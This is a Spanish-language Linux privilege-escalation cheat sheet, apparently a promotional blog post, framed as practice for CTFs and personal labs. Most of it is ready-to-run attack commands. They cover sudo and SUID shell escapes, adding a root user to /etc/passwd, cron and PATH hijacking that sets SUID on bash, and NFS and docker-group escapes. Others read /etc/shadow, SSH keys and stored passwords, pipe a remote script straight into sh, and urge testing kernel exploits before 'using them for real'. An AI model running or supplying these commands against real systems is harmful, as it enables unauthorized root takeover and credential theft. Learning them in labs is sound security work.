La escalada de privilegios en Linux es el paso entre conseguir una shell y ser dueño del servidor. Llegas como www-data o un usuario de bajo privilegio — el objetivo es root. Esta cheat sheet cubre todas las técnicas que valen la pena conocer en 2026, con comandos que puedes ejecutar inmediatamente.

Practica estas técnicas en una máquina real. Vultr y DigitalOcean ofrecen VPS de $5–6/mes que puedes levantar, romper y destruir. Económico, legal, y se reinicia cuando quieras.


Primero: Enumeración Rápida

Antes de ejecutar cualquier exploit, enumera. Necesitas saber con qué estás trabajando.

# Quién eres
id && whoami && hostname

# Versión de OS y kernel
uname -a
cat /etc/os-release
cat /proc/version

# Qué puedes ejecutar como sudo
sudo -l

# Entorno actual
env
echo $PATH

Herramientas de Enumeración Automatizada

No reinventes la rueda. Estas herramientas hacen el trabajo pesado:

LinPEAS — la más completa, muestra hallazgos con código de colores

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# O transfiere el archivo manualmente y ejecuta:
chmod +x linpeas.sh && ./linpeas.sh 2>/dev/null | tee /tmp/linpeas.out

LinEnum

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh && ./LinEnum.sh -t

linux-exploit-suggester

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh

Ejecuta al menos LinPEAS en cada servidor. Resalta los hallazgos más críticos en rojo.


1. Configuraciones Incorrectas de Sudo

La ruta de escalada más común en CTFs y servidores reales.

sudo -l

Sudo NOPASSWD

Si ves algo como:

(ALL) NOPASSWD: /usr/bin/vim

Puedes escalar:

sudo vim -c ':!/bin/bash'

GTFOBins

Para cada binario que puedas ejecutar como sudo, consulta GTFOBins para el comando de escalada.

Ejemplos comunes:

# find
sudo find . -exec /bin/bash \; -quit

# less
sudo less /etc/passwd
# luego escribe: !/bin/bash

# awk
sudo awk 'BEGIN {system("/bin/bash")}'

# python
sudo python3 -c 'import os; os.system("/bin/bash")'

# nmap (versiones antiguas)
sudo nmap --interactive
# luego: !sh

# perl
sudo perl -e 'exec "/bin/bash";'

# ruby
sudo ruby -e 'exec "/bin/bash"'

# tar
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# zip
sudo zip /tmp/nothing /etc/passwd -T --unzip-command="sh -c /bin/bash"

Sudo con Abuso de Comodines

Si sudo permite un comando con *:

# Ejemplo: sudo rsync * /tmp/
# Crea un archivo para inyectar flags:
touch -- '--e sh /tmp/shell.sh'

2. Binarios SUID / SGID

Los binarios SUID se ejecutan con los permisos del dueño del archivo (frecuentemente root), independientemente de quién los ejecute.

# Encontrar todos los binarios SUID
find / -perm -u=s -type f 2>/dev/null

# Encontrar binarios SGID
find / -perm -g=s -type f 2>/dev/null

# Combinado
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null

Busca cualquier cosa no estándar. Binarios SUID comúnmente explotables:

# bash con SUID
/bin/bash -p   # -p preserva el UID efectivo

# find con SUID
find . -exec /bin/bash -p \; -quit

# cp con SUID — sobreescribir /etc/passwd
cp /etc/passwd /tmp/passwd.bak
echo 'newroot:$(openssl passwd -1 password123):0:0:root:/root:/bin/bash' >> /tmp/passwd.bak
cp /tmp/passwd.bak /etc/passwd
su newroot

# vim con SUID
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# nmap con SUID (versiones antiguas)
nmap --interactive
!sh

# python con SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

3. Cron Jobs

Las tareas programadas ejecutadas como root con scripts escribibles son oro puro.

# Ver crontabs del sistema
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*

# Ver crontabs del usuario
crontab -l

# Observar procesos generados por cron (usa pspy)
./pspy64

Descargar pspy (no requiere root, observa eventos de procesos):

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64 && ./pspy64

Observa la salida para cron jobs de root. Si ves /opt/backup.sh ejecutándose como UID 0, verifica:

ls -la /opt/backup.sh
# ¿Es escribible por todos?

Si puedes escribir en el script:

echo 'chmod +s /bin/bash' >> /opt/backup.sh
# Espera a que cron lo ejecute, luego:
bash -p

Inyección de PATH vía Cron

Si un script de cron llama binarios sin rutas completas:

# /opt/cleanup.sh contiene: rm -rf /tmp/cache
# PATH en crontab es algo que puedes influenciar

# Crea un 'rm' falso en un directorio que controles:
echo '#!/bin/bash' > /tmp/rm
echo 'chmod +s /bin/bash' >> /tmp/rm
chmod +x /tmp/rm

# Si puedes anteponer /tmp al PATH del cron...

4. /etc/passwd Escribible

Si /etc/passwd es escribible por todos, puedes añadir directamente un usuario de nivel root.

ls -la /etc/passwd

# Generar hash de contraseña
openssl passwd -1 -salt salt password123
# o
python3 -c "import crypt; print(crypt.crypt('password123', crypt.mksalt(crypt.METHOD_SHA512)))"

# Añadir entrada
echo 'hacker:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker

5. Exploits de Kernel

Último recurso. Los exploits de kernel son ruidosos y pueden crashear sistemas.

uname -r
# Comprueba contra bases de datos de CVE y exploit-db

# Ejecuta linux-exploit-suggester para recomendaciones automatizadas
./linux-exploit-suggester.sh

Vulnerabilidades de kernel recientes que conviene conocer:

  • DirtyPipe (CVE-2022-0847) — sobreescribir archivos de solo lectura, Linux 5.8-5.16
  • PwnKit (CVE-2021-4034) — escalada de privilegios local en pkexec, prácticamente universal
  • DirtyCow (CVE-2016-5195) — antiguo pero presente en sistemas sin parchear
# PwnKit — si pkexec está presente y sin parchear
# Verifica versión: pkexec --version
# Exploit disponible en github: ly4k/PwnKit

# DirtyPipe (CVE-2022-0847)
# Verifica kernel: uname -r (necesita 5.8-5.16.11)
# Exploit: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

Siempre prueba en una instancia desechable primero. Vultr es bueno para esto — levanta una versión de kernel coincidente, prueba tu exploit, luego úsalo en serio.


6. Secuestro de PATH

Si un binario SUID o script propiedad de root llama comandos del sistema sin rutas completas:

# Usa strings en el binario para ver qué llama
strings /usr/local/bin/backup
# Salida: "cp /var/backup..."
# 'cp' se llama sin ruta completa

# Crea un 'cp' malicioso en /tmp
echo '#!/bin/bash' > /tmp/cp
echo 'chmod +s /bin/bash' >> /tmp/cp
chmod +x /tmp/cp

# Antepone /tmp al PATH
export PATH=/tmp:$PATH

# Ejecuta el binario vulnerable
/usr/local/bin/backup

# Obtén shell root
/bin/bash -p

7. Capabilities

Las capabilities de Linux son una forma granular de asignar privilegios a nivel root a binarios específicos. Frecuentemente mal configuradas.

# Encontrar binarios con capabilities
getcap -r / 2>/dev/null

Capabilities peligrosas comunes:

# cap_setuid+ep en python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setuid en perl
perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash";'

# cap_net_raw en tcpdump — esnifar como no-root
tcpdump -i eth0

# cap_dac_override — evitar comprobaciones de permisos de archivos
# Puede leer/escribir cualquier archivo

# cap_sys_admin — muy poderoso, casi igual que root

8. NFS No_root_squash

Si un recurso compartido NFS remoto tiene no_root_squash, los archivos que crees como root en tu máquina serán propiedad de root en el objetivo.

# Verificar recursos compartidos NFS en el objetivo
cat /etc/exports
showmount -e localhost

# Si ves: /share *(rw,no_root_squash)
# Montar en la máquina atacante:
mount -t nfs target_ip:/share /mnt/nfs

# Crear binario SUID en el atacante:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

# En el objetivo:
/share/bash -p

9. Docker / Escape de Contenedor

Si el usuario actual está en el grupo docker:

# Verificar grupos
id
# Si el grupo docker está presente:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Ahora eres root dentro del contenedor con el sistema de archivos del host montado en /mnt. Puedes leer /etc/shadow, añadir claves SSH, etc.

# Añadir tu clave SSH a authorized_keys de root
mkdir -p /mnt/root/.ssh
echo 'tu-clave-publica' >> /mnt/root/.ssh/authorized_keys
chmod 600 /mnt/root/.ssh/authorized_keys

10. Permisos de Archivos Débiles

Verifica archivos sensibles legibles y archivos del sistema escribibles.

# Archivos escribibles por todos (excluyendo /proc, /sys, /dev)
find / -writable -type f 2>/dev/null | grep -v proc | grep -v sys | grep -v dev

# Archivo shadow legible
cat /etc/shadow

# Claves SSH legibles
find / -name "id_rsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null

# Archivos de configuración con credenciales
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password" 2>/dev/null
find / -name "*.env" -readable 2>/dev/null
find / -name "wp-config.php" -readable 2>/dev/null

11. Enumeración de Servicios y Procesos

Busca servicios ejecutándose como root que tengan exploits conocidos o configuraciones débiles.

# Procesos en ejecución
ps aux
ps aux | grep root

# Servicios en escucha (puede exponer puertos internos no visibles externamente)
netstat -tlnp 2>/dev/null || ss -tlnp
netstat -anp 2>/dev/null

# Configuración de servicios
ls /etc/systemd/system/
cat /etc/systemd/system/*.service 2>/dev/null | grep -i exec

12. Credenciales Almacenadas e Historial

La gente pone contraseñas en el historial de bash y en archivos de configuración constantemente.

# Historial de comandos
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history

# Buscar credenciales en ubicaciones comunes
grep -ri "password" /home/ 2>/dev/null
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "passwd" /etc/ 2>/dev/null

# Archivos .env
find / -name ".env" -readable 2>/dev/null | xargs cat 2>/dev/null

# Configuración SSH
cat ~/.ssh/config
cat /etc/ssh/sshd_config

# Verificar últimos inicios de sesión
last
lastlog

Tabla de Referencia Rápida

TécnicaComando de VerificaciónExplotar Cuando
Sudo mal configuradosudo -lExisten entradas NOPASSWD
Binarios SUIDfind / -perm -u=s -type f 2>/dev/nullSe encuentra binario SUID no estándar
Cron escribiblecat /etc/crontab; ./pspy64Cron de root llama script escribible
/etc/passwd escribiblels -la /etc/passwdEscribible por todos
Exploit de kerneluname -r + exploit-suggesterExiste CVE coincidente
Secuestro de PATHstrings <suid-binary>Se encuentran llamadas a binarios relativos
Capabilitiesgetcap -r / 2>/dev/nullcap_setuid o similar
NFS squashcat /etc/exportsno_root_squash presente
Grupo DockeridMembresía en grupo docker
Permisos débilesfind / -writable -type fArchivos del sistema escribibles

Metodología: En Qué Orden Verificar

  1. sudo -l — victoria más rápida si existe NOPASSWD
  2. id — verificar grupos docker, lxd, adm, disk
  3. LinPEAS — que encuentre lo que te perdiste
  4. SUID/SGID — búsqueda en GTFOBins
  5. Cron jobs + pspy — observar procesos
  6. Capabilities — frecuentemente ignoradas
  7. Versión de kernel — exploit-suggester como último recurso
  8. Búsqueda manual de configs/credenciales

Entornos de Práctica

La forma más rápida de mejorar en privesc es el volumen. Haz 5–10 máquinas enfocadas específicamente en privesc de Linux.

Plataformas CTF:

  • HackTheBox — máquinas de privesc Linux en el track “Starting Point”
  • TryHackMe — salas dedicadas de Linux PrivEsc (nivel gratuito disponible)
  • PentesterLab — laboratorios estructurados con write-ups

Tu Propio Laboratorio: Levanta un VPS, configúralo intencionalmente mal, y practica. Vultr comienza desde $6/mes. DigitalOcean es similar. Ambos te dan un entorno Ubuntu/Debian/CentOS limpio en menos de 60 segundos.

No solo leas esta cheat sheet — ejecuta estos comandos hasta que los tengas en la memoria muscular.


Lectura Adicional


¿Necesitas esto redactado como un reporte de pentest completo o una evaluación de seguridad personalizada? CipherWrite entrega contenido de ciberseguridad de nivel profesional — guías, whitepapers y reportes técnicos.